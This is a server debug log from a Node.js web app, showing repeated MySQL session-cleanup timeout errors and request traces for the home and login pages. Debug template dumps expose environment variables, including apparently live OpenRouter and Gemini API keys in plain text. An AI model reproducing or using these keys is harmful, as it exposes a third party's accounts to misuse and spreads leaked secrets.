    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 03:39:35' as DATETIME)"
}
2026-04-19T06:10:55.430Z server-connect:router Serving templateView /
2026-04-19T06:10:55.432Z server-connect:app Executing action step identify
2026-04-19T06:10:55.432Z server-connect:app options: { provider: 'security' }
2026-04-19T06:10:55.432Z server-connect:auth No login cookie found
2026-04-19T06:10:55.432Z server-connect:output identity: false
2026-04-19T06:10:55.432Z server-connect:app Executing action step restrict
2026-04-19T06:10:55.432Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-19T06:10:55.432Z server-connect:output restrict: undefined
2026-04-19T06:10:55.533Z server-connect:router Serving templateView /login
2026-04-19T06:10:55.533Z server-connect:app Executing action step identify
2026-04-19T06:10:55.533Z server-connect:app options: { provider: 'security' }
2026-04-19T06:10:55.533Z server-connect:auth No login cookie found
2026-04-19T06:10:55.533Z server-connect:output identity: false
2026-04-19T06:10:55.533Z server-connect:router Render template layouts/authentication
2026-04-19T06:10:55.533Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '54.85.236.130',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-20T06:10:55.532Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.85.236.130',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '54.85.236.130',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 08:54:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 08:54:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 13:04:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 13:04:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 13:08:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 13:08:37' as DATETIME)"
}
2026-04-19T13:49:06.076Z server-connect:router Serving templateView /
2026-04-19T13:49:06.077Z server-connect:app Executing action step identify
2026-04-19T13:49:06.077Z server-connect:app options: { provider: 'security' }
2026-04-19T13:49:06.078Z server-connect:auth No login cookie found
2026-04-19T13:49:06.078Z server-connect:output identity: false
2026-04-19T13:49:06.078Z server-connect:app Executing action step restrict
2026-04-19T13:49:06.078Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-19T13:49:06.078Z server-connect:output restrict: undefined
2026-04-19T13:49:06.212Z server-connect:router Serving templateView /login
2026-04-19T13:49:06.212Z server-connect:app Executing action step identify
2026-04-19T13:49:06.212Z server-connect:app options: { provider: 'security' }
2026-04-19T13:49:06.213Z server-connect:auth No login cookie found
2026-04-19T13:49:06.213Z server-connect:output identity: false
2026-04-19T13:49:06.213Z server-connect:router Render template layouts/authentication
2026-04-19T13:49:06.213Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.46.69.221',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-20T13:49:06.212Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.46.69.221',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.46.69.221',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-19T14:21:28.275Z server-connect:router Serving templateView /
2026-04-19T14:21:28.276Z server-connect:app Executing action step identify
2026-04-19T14:21:28.276Z server-connect:app options: { provider: 'security' }
2026-04-19T14:21:28.276Z server-connect:auth No login cookie found
2026-04-19T14:21:28.276Z server-connect:output identity: false
2026-04-19T14:21:28.276Z server-connect:app Executing action step restrict
2026-04-19T14:21:28.277Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-19T14:21:28.277Z server-connect:output restrict: undefined
2026-04-19T14:21:28.413Z server-connect:router Serving templateView /login
2026-04-19T14:21:28.413Z server-connect:app Executing action step identify
2026-04-19T14:21:28.413Z server-connect:app options: { provider: 'security' }
2026-04-19T14:21:28.413Z server-connect:auth No login cookie found
2026-04-19T14:21:28.413Z server-connect:output identity: false
2026-04-19T14:21:28.413Z server-connect:router Render template layouts/authentication
2026-04-19T14:21:28.414Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.28.154.44',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-20T14:21:28.412Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.28.154.44',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.28.154.44',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-19T16:16:03.320Z server-connect:router Serving templateView /
2026-04-19T16:16:03.322Z server-connect:app Executing action step identify
2026-04-19T16:16:03.322Z server-connect:app options: { provider: 'security' }
2026-04-19T16:16:03.322Z server-connect:auth No login cookie found
2026-04-19T16:16:03.322Z server-connect:output identity: false
2026-04-19T16:16:03.322Z server-connect:app Executing action step restrict
2026-04-19T16:16:03.322Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-19T16:16:03.323Z server-connect:output restrict: undefined
2026-04-19T16:16:03.563Z server-connect:router Serving templateView /
2026-04-19T16:16:03.564Z server-connect:app Executing action step identify
2026-04-19T16:16:03.564Z server-connect:app options: { provider: 'security' }
2026-04-19T16:16:03.564Z server-connect:auth No login cookie found
2026-04-19T16:16:03.564Z server-connect:output identity: false
2026-04-19T16:16:03.564Z server-connect:app Executing action step restrict
2026-04-19T16:16:03.564Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-19T16:16:03.564Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 18:23:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 18:23:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 22:15:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 22:15:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-19 22:39:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-19 22:39:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 01:09:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 01:09:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 01:23:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 01:23:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 02:49:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 02:49:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 04:52:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-04-20 04:52:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-04-20 06:12:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
